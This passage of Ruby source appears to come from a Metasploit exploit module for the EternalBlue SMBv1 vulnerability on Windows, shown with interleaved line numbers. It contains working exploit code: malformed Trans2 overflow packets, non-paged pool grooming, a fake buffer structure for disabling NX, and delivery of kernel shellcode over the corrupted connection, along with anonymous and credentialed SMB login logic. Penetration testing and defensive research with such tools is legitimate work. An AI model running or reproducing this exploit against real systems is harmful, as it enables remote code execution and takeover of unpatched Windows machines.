sess_pkt.parameter_block.vc_number = 2 # any non-zero
767
sess_pkt.parameter_block.session_key = 0
768
sess_pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
769
770
sess_pkt.parameter_block.capabilities.each_pair do |k|
771
if k == :nt_status || k == :extended_security
772
sess_pkt.parameter_block.capabilities[k] = 1
773
else
774
sess_pkt.parameter_block.capabilities[k] = 0
775
end
776
end
777
778
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(sess_pkt))
779
780
if recv_pkt.status_code.value == 0
781
print_good('SMB1 session setup allocate nonpaged pool success')
782
return anon_conn, anon_sock
783
end
784
785
anon_conn.disconnect!
786
787
unless username.empty?
788
# Try login with valid user because anonymous user might get access denied on Windows Server 2012
789
# Note: If target allows only NTLMv2 authentication, the login will always fail.
790
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
791
req_size = (size / 2).floor
792
793
neg_pkt = RubySMB::SMB1::Packet::NegotiateRequest.new
794
neg_pkt.smb_header.flags2.extended_security = 0
795
neg_pkt.add_dialect('NT LM 0.12')
796
797
client, sock = custom_smb_client
798
799
raw_response = client.send_recv(neg_pkt)
800
response_packet = client.negotiate_response(raw_response)
801
802
# parse_negotiate_response
803
client.smb1 = true
804
client.smb2 = false
805
client.smb3 = false
806
client.signing_required = response_packet.parameter_block.security_mode.security_signatures_required == 1
807
client.dialect = response_packet.negotiated_dialect.to_s
808
client.server_max_buffer_size = response_packet.parameter_block.max_buffer_size - 260
809
client.negotiated_smb_version = 1
810
client.session_encrypt_data = false
811
client.server_guid = response_packet.data_block[:server_guid]
812
813
server_challenge = response_packet.data_block.challenge
814
815
sess_pkt.smb_header.pid_low = pid
816
sess_pkt.smb_header.flags2.unicode = 0
817
818
pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)
819
820
sess_pkt.parameter_block.reserved = pwd_unicode.length
821
sess_pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + ("\x00" * 16)
822
823
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(client.send_recv(sess_pkt))
824
825
if recv_pkt.status_code.value == 0
826
print_good('SMB1 session setup allocate nonpaged pool success')
827
return client, sock
828
end
829
client.disconnect!
830
end
831
832
print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
833
return nil
834
end
835
836
def generate_fea_list_nx
837
# fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa
838
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
839
# NX bit is at PTE_ADDR+7
840
# MappedSystemVa = PTE_ADDR+7 - 0x7f
841
shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
842
pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12)
843
fake_srv_net_buffer_x64nx = "\x00" * 16
844
fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')
845
fake_srv_net_buffer_x64nx += "\x00" * 16
846
fake_srv_net_buffer_x64nx += "\x00" * 16
847
fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')
848
fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct
849
fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')
850
fake_srv_net_buffer_x64nx += "\x00" * 16
851
fake_srv_net_buffer_x64nx += "\x00" * 16
852
fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
853
fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
854
855
fea_list_nx = [0x10000].pack('I<')
856
fea_list_nx += NTFEA_9000
857
fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name
858
# stop copying by invalid flag (can be any value except 0 and 0x80)
859
fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')
860
861
fea_list_nx
862
end
863
864
def default_session_setup_request
865
p = RubySMB::SMB1::Packet::SessionSetupRequest.new
866
p.parameter_block.max_buffer_size = 61440
867
p.parameter_block.max_mpx_count = 50
868
p.smb_header.flags2.extended_security = 1
869
870
p
871
end
872
873
# Returns the value to be passed to SMB clients for
874
# the password. If the user has not supplied a password
875
# it returns an empty string to trigger an anonymous
876
# logon.
877
#
878
# @return [String] the password value
879
def smb_pass
880
if datastore['SMBPass'].present?
881
datastore['SMBPass']
882
else
883
''
884
end
885
end
886
887
# Returns the value to be passed to SMB clients for
888
# the username. If the user has not supplied a username
889
# it returns an empty string to trigger an anonymous
890
# logon.
891
#
892
# @return [String] the username value
893
def smb_user
894
if datastore['SMBUser'].present?
895
datastore['SMBUser']
896
else
897
''
898
end
899
end
900
901
# Returns the value to be passed to SMB clients for
902
# the domain. If the user has not supplied a domain
903
# it returns an empty string to trigger an anonymous
904
# logon.
905
#
906
# @return [String] the domain value
907
def smb_domain
908
if datastore['SMBDomain'].present?
909
datastore['SMBDomain']
910
else
911
''
912
end
913
end
914
915
class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket
916
COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX
917
918
class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock
919
end
920
921
class DataBlock < RubySMB::SMB1::DataBlock
922
# Key difference for this class is that the length of security_blob is NOT dictated by the value of
923
# security_blob_length in the +SessionSetupRequest::ParameterBlock+
924
string :security_blob, label: 'Security Blob (GSS-API)'
925
string :native_os, label: 'Native OS'
926
string :native_lan_man, label: 'Native LAN Manager'
927
end
928
929
smb_header :smb_header
930
parameter_block :parameter_block
931
data_block :data_block
932
end
933
934
class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client
935
def send_recv(packet, encrypt: false)
936
version = packet.packet_smb_version
937
case version
938
when 'SMB1'
939
packet.smb_header.uid = user_id if user_id
940
packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0
941
packet = smb1_sign(packet)
942
when 'SMB2'
943
packet = increment_smb_message_id(packet)
944
packet.smb2_header.session_id = session_id
945
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
946
if smb2
947
packet = smb2_sign(packet)
948
elsif smb3
949
packet = smb3_sign(packet)
950
end
951
end
952
end
953
954
encrypt_data = false
955
if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)
956
encrypt_data = true
957
end
958
send_packet(packet, encrypt: encrypt_data)
959
raw_response = recv_packet(encrypt: encrypt_data)
960
smb2_header = nil
961
unless version == 'SMB1'
962
loop do
963
smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)
964
break unless is_status_pending?(smb2_header)
965
966
sleep 1
967
raw_response = recv_packet(encrypt: encrypt_data)
968
rescue IOError
969
# We're expecting an SMB2 packet, but the server sent an SMB1 packet
970
# instead. This behavior has been observed with older versions of Samba
971
# when something goes wrong on the server side. So, we just ignore it
972
# and expect the caller to handle this wrong response packet.
973
break
974
end
975
end
976
977
self.sequence_counter += 1 if signing_required && !session_key.empty?
978
# update the SMB2 message ID according to the received Credit Charged
979
self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit
980
raw_response
981
end
982
983
def login(username: self.username, password: self.password,
984
domain: self.domain, local_workstation: self.local_workstation,
985
ntlm_flags: default_flags,
986
session_setup_packet: nil,
987
session_setup_auth_packet: nil)
988
989
negotiate
990
session_setup(username, password, domain,
991
local_workstation: local_workstation,
992
ntlm_flags: ntlm_flags,
993
session_setup_packet: session_setup_packet,
994
session_setup_auth_packet: session_setup_auth_packet)
995
end
996
997
def session_setup(user, pass, domain,
998
local_workstation: self.local_workstation, ntlm_flags: default_flags,
999
session_setup_packet: nil, session_setup_auth_packet: nil)
1000
@domain = domain
1001
@local_workstation = local_workstation
1002
@password = pass.encode('utf-8') || ''.encode('utf-8')
1003
@username = user.encode('utf-8') || ''.encode('utf-8')
1004
1005
@ntlm_client = Net::NTLM::Client.new(
1006
@username,
1007
@password,
1008
workstation: @local_workstation,
1009
domain: @domain,
1010
flags: ntlm_flags
1011
)
1012
1013
authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)
1014
end
1015
1016
def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)
1017
if smb1
1018
if username.empty? && password.empty?
1019
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
1020
session_setup_auth_packet: smb1_setup_auth_pkt,
1021
anonymous: true)
1022
else
1023
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
1024
session_setup_auth_packet: smb1_setup_auth_pkt)
1025
end
1026
else
1027
smb2_authenticate
1028
end
1029
end
1030
1031
def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil, anonymous: false)
1032
response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)
1033
challenge_packet = smb1_ntlmssp_challenge_packet(response)
1034
1035
# Store the available OS information before going forward.
1036
@peer_native_os = challenge_packet.data_block.native_os.to_s
1037
@peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
1038
user_id = challenge_packet.smb_header.uid
1039
type2_b64_message = smb1_type2_message(challenge_packet)
1040
type3_message = @ntlm_client.init_context(type2_b64_message)
1041
1042
if anonymous
1043
type3_message.ntlm_response = ''
1044
type3_message.lm_response = ''
1045
end
1046
1047
@session_key = @ntlm_client.session_key
1048
challenge_message = @ntlm_client.session.challenge_message
1049
store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)
1050
@os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?
1051
1052
raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)
1053
response = smb1_ntlmssp_final_packet(raw)
1054
response_code = response.status_code
1055
1056
@user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
1057
response_code
1058
end
1059
1060
def smb1_ntlmssp_negotiate(session_setup_packet: nil)
1061
packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)
1062
send_recv(packet)
1063
end
1064
1065
def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)
1066
packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)
1067
send_recv(packet)
1068
end
1069
1070
def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)
1071
if session_setup_packet.nil?
1072
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
1073
packet.smb_header.uid = user_id
1074
packet.set_type3_blob(type3_message.serialize)
1075
packet.parameter_block.max_mpx_count = 50
1076
packet.smb_header.flags2.extended_security = 1
1077
1078
packet
1079
else
1080
if session_setup_packet.data_block.security_blob.empty?
1081
session_setup_packet.set_type3_blob(type3_message.serialize)
1082
end
1083
if session_setup_packet.smb_header.uid == 0
1084
session_setup_packet.smb_header.uid = user_id
1085
end
1086
if session_setup_packet.parameter_block.max_buffer_size == 0
1087
session_setup_packet.parameter_block.max_buffer_size = max_buffer_size
1088
end
1089
if session_setup_packet.smb_header.pid_low == 0
1090
session_setup_packet.smb_header.pid_low = pid
1091
end
1092
1093
session_setup_packet
1094
end
1095
end
1096
1097
def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)
1098
type1_message = ntlm_client.init_context
1099
1100
if session_setup_packet.nil?
1101
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet
1102
packet.set_type1_blob(type1_message.serialize)
1103
packet.parameter_block.max_mpx_count = 50
1104
packet.smb_header.flags2.extended_security = 1
1105
1106
packet
1107
else
1108
if session_setup_packet.data_block.security_blob.empty?
1109
session_setup_packet.set_type1_blob(type1_message.serialize)
1110
end
1111
1112
session_setup_packet
1113
end
1114
end
1115
end
1116
end
1117
1118
module EternalBlueWin7
1119
require 'ruby_smb'
1120
require 'ruby_smb/smb1/packet'
1121
require 'windows_error'
1122
1123
include Msf::Exploit::Remote::DCERPC
1124
1125
class EternalBlueError < StandardError
1126
end
1127
1128
def exploit_eb
1129
begin
1130
for i in 1..datastore['MaxExploitAttempts']
1131
grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
1132
smb_eternalblue(datastore['ProcessName'], grooms)
1133
1134
# we don't need this sleep, and need to find a way to remove it
1135
# problem is session_count won't increment until stage is complete :\
1136
secs = 0
1137
while !session_created? && (secs < 30)
1138
secs += 1
1139
sleep 1
1140
end
1141
1142
if session_created?
1143
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1144
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1145
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1146
break
1147
else
1148
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1149
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1150
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1151
end
1152
end
1153
rescue EternalBlueError => e
1154
print_error(e.message.to_s)
1155
return false
1156
rescue ::RubySMB::Error::NegotiationFailure
1157
print_error('SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.')
1158
return false
1159
rescue ::RubySMB::Error::UnexpectedStatusCode,
1160
::Errno::ECONNRESET,
1161
::Rex::HostUnreachable,
1162
::Rex::ConnectionTimeout,
1163
::Rex::ConnectionRefused,
1164
::RubySMB::Error::CommunicationError => e
1165
print_error("#{e.class}: #{e.message}")
1166
report_failure
1167
return false
1168
rescue StandardError => e
1169
print_error(e.class.to_s)
1170
print_error(e.message)
1171
print_error(e.backtrace.join("\n"))
1172
return false
1173
end
1174
end
1175
1176
def smb_eternalblue(process_name, grooms)
1177
begin
1178
# Step 0: pre-calculate what we can
1179
shellcode = make_kernel_user_payload(payload.encoded, process_name)
1180
payload_hdr_pkt = make_smb2_payload_headers_packet
1181
payload_body_pkt = make_smb2_payload_body_packet(shellcode)
1182
1183
# Step 1: Connect to IPC$ share
1184
print_status('Connecting to target for exploitation.')
1185
client, tree, sock, os = smb1_anonymous_connect_ipc
1186
rescue RubySMB::Error::CommunicationError
1187
# Error handler in case SMBv1 disabled on target
1188
raise EternalBlueError, 'Could not make SMBv1 connection'
1189
else
1190
print_good('Connection established for exploitation.')
1191
1192
if verify_target(os)
1193
print_good('Target OS selected valid for OS indicated by SMB reply')
1194
else
1195
print_warning('Target OS selected not valid for OS indicated by SMB reply')
1196
print_warning('Disable VerifyTarget option to proceed manually...')
1197
raise EternalBlueError, 'Unable to continue with improper OS Target.'
1198
end
1199
1200
# cool buffer print no matter what, will be helpful when people post debug issues
1201
print_core_buffer(os)
1202
1203
if verify_arch
1204
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
1205
else
1206
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
1207
print_warning('Disable VerifyArch option to proceed manually...')
1208
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
1209
end
1210
1211
print_status("Trying exploit with #{grooms} Groom Allocations.")
1212
1213
# Step 2: Create a large SMB1 buffer
1214
print_status('Sending all but last fragment of exploit packet')
1215
smb1_large_buffer(client, tree, sock)
1216
1217
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
1218
print_status('Starting non-paged pool grooming')
1219
1220
# initialize_groom_threads(ip, port, payload, grooms)
1221
fhs_sock = smb1_free_hole(true)
1222
1223
@groom_socks = []
1224
1225
print_good('Sending SMBv2 buffers')
1226
smb2_grooms(grooms, payload_hdr_pkt)
1227
1228
fhf_sock = smb1_free_hole(false)
1229
1230
print_good('Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.')
1231
fhs_sock.shutdown
1232
1233
print_status('Sending final SMBv2 buffers.') # 6x
1234
smb2_grooms(6, payload_hdr_pkt) # TODO: magic #
1235
1236
fhf_sock.shutdown
1237
1238
print_status('Sending last fragment of exploit packet!')
1239
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
1240
sock.put(final_exploit_pkt)
1241
1242
print_status('Receiving response from exploit packet')
1243
code, _raw = smb1_get_response(sock)
1244
1245
code_str = '0x' + code.to_i.to_s(16).upcase
1246
if code.nil?
1247
print_error('Did not receive a response from exploit packet')
1248
elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
1249
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
1250
else
1251
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
1252
end
1253
1254
# Step 4: Send the payload
1255
print_status('Sending egg to corrupted connection.')
1256
1257
@groom_socks.each { |gsock| gsock.put(payload_body_pkt.first(2920)) }
1258
@groom_socks.each { |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
1259
1260
print_status('Triggering free of corrupted buffer.')
1261
# tree disconnect
1262
# logoff and x
1263
# note: these aren't necessary, just close the sockets
1264
return true
1265
ensure
1266
abort_sockets
1267
end
1268
end
1269
1270
def verify_target(os)
1271
os = os.gsub("\x00", '') # strip unicode bs
1272
os << "\x00" # but original has a null
1273
ret = true
1274
1275
if datastore['VerifyTarget']
1276
ret = false
1277
# search if its in patterns
1278
target['os_patterns'].each do |pattern|
1279
if os.downcase.include? pattern.downcase
1280
ret = true
1281
break
1282
end
1283
end
1284
end
1285
1286
return ret
1287
end
1288
1289
def verify_arch
1290
return true unless datastore['VerifyArch']
1291
1292
# XXX: This sends a new DCE/RPC packet
1293
arch = dcerpc_getarch
1294
1295
return true if arch && arch == target_arch.first
1296
1297
print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")
1298
print_warning('The DCE/RPC service or probe may be blocked') if arch.nil?
1299
false
1300
end
1301
1302
def print_core_buffer(os)
1303
print_status("CORE raw buffer dump (#{os.length} bytes)")
1304
1305
count = 0
1306
chunks = os.scan(/.{1,16}/)
1307
chunks.each do |chunk|
1308
hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, '0') }.join(' ')
1309
1310
format = format('0x%08x %-47s %-16s', (count * 16), hexdump, chunk)
1311
print_status(format)
1312
count += 1
1313
end
1314
end
1315
1316
def smb2_grooms(grooms, payload_hdr_pkt)
1317
grooms.times do |_groom_id|
1318
gsock = connect(false)
1319
@groom_socks << gsock
1320
gsock.put(payload_hdr_pkt)
1321
end
1322
end
1323
1324
def smb1_anonymous_connect_ipc
1325
sock = connect(false)
1326
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
1327
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
1328
client.pid = nil
1329
response_code = client.login
1330
1331
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
1332
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
1333
end
1334
1335
os = client.peer_native_os
1336
1337
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
1338
1339
return client, tree, sock, os
1340
end
1341
1342
def smb1_large_buffer(client, tree, sock)
1343
nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
1344
1345
# send NT Trans
1346
vprint_status('Sending NT Trans Request packet')
1347
1348
client.send_recv(nt_trans_pkt)
1349
# Initial Trans2 request
1350
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
1351
1352
# send all but last packet
1353
for i in 1..14
1354
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
1355
end
1356
1357
vprint_status('Sending malformed Trans2 packets')
1358
sock.put(trans2_pkt_nulled)
1359
1360
begin
1361
sock.get_once
1362
rescue EOFError
1363
vprint_error('No response back from SMB echo request. Continuing anyway...')
1364
end
1365
1366
client.echo(count: 1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
1367
end
1368
1369
def smb1_free_hole(start)
1370
sock = connect(false)
1371
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
1372
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
1373
client.pid = nil
1374
client.negotiate
1375
1376
pkt = ''
1377
1378
if start
1379
vprint_status('Sending start free hole packet.')
1380
pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
1381
else
1382
vprint_status('Sending end free hole packet.')
1383
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
1384
end
1385
1386
client.send_recv(pkt)
1387
sock
1388
end
1389
1390
def smb1_get_response(sock)
1391
raw = nil
1392
1393
# dirty hack since it doesn't always like to reply the first time...
1394
16.times do
1395
raw = sock.get_once
1396
break unless raw.nil? || raw.empty?
1397
end
1398
1399
return nil unless raw
1400
1401
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
1402
code = response.nt_status
1403
return code, raw, response
1404
end
1405
1406
def make_smb2_payload_headers_packet
1407
# don't need a library here, the packet is essentially nonsensical
1408
pkt = ''
1409
pkt << "\x00" # session message
1410
pkt << "\x00\xff\xf7" # size
1411
pkt << "\xfeSMB" # SMB2
1412
pkt << "\x00" * 124
1413
1414
pkt
1415
end
1416
1417
def make_smb2_payload_body_packet(kernel_user_payload)
1418
# precalculated lengths
1419
pkt_max_len = 4204
1420
pkt_setup_len = 497
1421
pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
1422
1423
# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
1424
pkt = ''
1425
1426
# padding
1427
pkt << "\x00" * 0x8
1428
pkt << "\x03\x00\x00\x00"
1429
pkt << "\x00" * 0x1c
1430
pkt << "\x03\x00\x00\x00"
1431
pkt << "\x00" * 0x74
1432
1433
# KI_USER_SHARED_DATA addresses
1434
pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
1435
pkt << "\x00" * 0x10
1436
pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
1437
pkt << "\x00" * 0xc4
1438
1439
# payload addreses
1440
pkt << "\x90\xf1\xdf\xff"
1441
pkt << "\x00" * 0x4
1442
pkt << "\xf0\xf1\xdf\xff"
1443
pkt << "\x00" * 0x40
1444
1445
pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
1446
pkt << "\x00" * 0x8
1447
pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
1448
pkt << "\x00"
1449
1450
pkt << kernel_user_payload
1451
1452
# fill out the rest, this can be randomly generated
1453
pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
1454
1455
pkt
1456
end
1457
1458
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
1459
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
1460
timeout = (timeout * 0x10) + 3
1461
timeout_value = "\x35\x00\xd0" + timeout.chr
1462
1463
packet = RubySMB::SMB1::Packet::Trans2::Request.new
1464
packet = set_smb1_headers(packet, tree_id, user_id)
1465
1466
# The packets are labeled as Secondary Requests but are actually structured
1467
# as normal Trans2 Requests for some reason. We shall similarly cheat here.
1468
packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
1469
1470
packet.parameter_block.flags.read("\x00\x10")
1471
packet.parameter_block.timeout.read(timeout_value)
1472
1473
packet.parameter_block.word_count = 9
1474
packet.parameter_block.total_data_count = 4096
1475
packet.parameter_block.parameter_count = 4096
1476
1477
nbss = "\x00\x00\x10\x35"
1478
pkt = packet.to_binary_s
1479
pkt = pkt[0, packet.parameter_block.parameter_offset.abs_offset]
1480
pkt = nbss + pkt
1481
1482
case type
1483
when :eb_trans2_exploit
1484
vprint_status('Making :eb_trans2_exploit packet')
1485
1486
pkt << "\x41" * 2957
1487
1488
pkt << "\x80\x00\xa8\x00" # overflow
1489
1490
pkt << "\x00" * 0x10
1491
pkt << "\xff\xff"
1492
pkt << "\x00" * 0x6
1493
pkt << "\xff\xff"
1494
pkt << "\x00" * 0x16
1495
1496
pkt << "\x00\xf1\xdf\xff" # x86 addresses
1497
pkt << "\x00" * 0x8
1498
pkt << "\x20\xf0\xdf\xff"
1499
1500
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
1501
1502
pkt << "\x60\x00\x04\x10"
1503
pkt << "\x00" * 4
1504
1505
pkt << "\x80\xef\xdf\xff"
1506
1507
pkt << "\x00" * 4
1508
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
1509
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
1510
pkt << "\x00" * 0x10
1511
1512
pkt << "\x60\x00\x04\x10"
1513
pkt << "\x00" * 0xc
1514
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
1515
pkt << "\x00" * 0x8
1516
pkt << "\x80\x10"
1517
pkt << "\x00" * 0xe
1518
pkt << "\x39"
1519
pkt << "\xbb"
1520
1521
pkt << "\x41" * 965
1522
when :eb_trans2_zero
1523
vprint_status('Making :eb_trans2_zero packet')
1524
pkt << "\x00" * 2055
1525
pkt << "\x83\xf3"
1526
pkt << "\x41" * 2039
1527
else
1528
vprint_status('Making :eb_trans2_buffer packet')
1529
pkt << "\x41" * 4096
1530
end
1531
pkt
1532
end
1533
1534
def make_smb1_nt_trans_packet(tree_id, user_id)
1535
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
1536
1537
# Disable the automatic padding because it will distort
1538
# our values here.
1539
packet.data_block.enable_padding = false
1540
1541
packet = set_smb1_headers(packet, tree_id, user_id)
1542
1543
packet.parameter_block.max_setup_count = 1
1544
packet.parameter_block.total_parameter_count = 30
1545
packet.parameter_block.total_data_count = 66512
1546
packet.parameter_block.max_parameter_count = 30
1547
packet.parameter_block.max_data_count = 0
1548
packet.parameter_block.parameter_count = 30
1549
packet.parameter_block.parameter_offset = 75
1550
packet.parameter_block.data_count = 976
1551
packet.parameter_block.data_offset = 104
1552
packet.parameter_block.function = 0
1553
1554
packet.parameter_block.setup << 0x0000
1555
1556
packet.data_block.byte_count = 1004
1557
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)
1558
packet
1559
end
1560
1561
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
1562
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
1563
1564
packet.smb_header.flags.read("\x18")
1565
packet.smb_header.flags2.read(flags2)
1566
packet.smb_header.pid_high = 65279
1567
packet.smb_header.mid = 64
1568
1569
packet.parameter_block.vc_number.read(vcnum)
1570
packet.parameter_block.max_buffer_size = 4356
1571
packet.parameter_block.max_mpx_count = 10
1572
packet.parameter_block.security_blob_length = 0
1573
1574
packet.smb_header.flags2.unicode = 0
1575
packet.data_block.security_blob = native_os + "\x00" * 15
1576
packet.data_block.native_os = ''
1577
packet.data_block.native_lan_man = ''
1578
packet
1579
end
1580
1581
# Sets common SMB1 Header values used by the various
1582
# packets in the exploit.
1583
#
1584
# @return [RubySMB::GenericPacket] the modified version of the packet
1585
def set_smb1_headers(packet, tree_id, user_id)
1586
packet.smb_header.flags2.read("\x07\xc0")
1587
packet.smb_header.tid = tree_id
1588
packet.smb_header.uid = user_id
1589
packet.smb_header.pid_low = 65279
1590
packet.smb_header.mid = 64
1591
packet
1592
end
1593
1594
# Returns the value to be passed to SMB clients for
1595
# the password. If the user has not supplied a password
1596
# it returns an empty string to trigger an anonymous
1597
# logon.
1598
#
1599
# @return [String] the password value
1600
def smb_pass
1601
if datastore['SMBPass'].present?
1602
datastore['SMBPass']
1603
else
1604
''
1605
end
1606
end
1607
1608
# Returns the value to be passed to SMB clients for
1609
# the username. If the user has not supplied a username
1610
# it returns an empty string to trigger an anonymous
1611
# logon.
1612
#
1613
# @return [String] the username value
1614
def smb_user
1615
if datastore['SMBUser'].present?
1616
datastore['SMBUser']
1617
else
1618
''
1619
end
1620
end
1621
1622
# Returns the value to be passed to SMB clients for
1623
# the domain. If the user has not supplied a domain
1624
# it returns an empty string to trigger an anonymous
1625
# logon.
1626
#
1627
# @return [String] the domain value
1628
def smb_domain
1629
if datastore['SMBDomain'].present?
1630
datastore['SMBDomain']
1631
else
1632
''
1633
end
1634
end
1635
end
1636
1637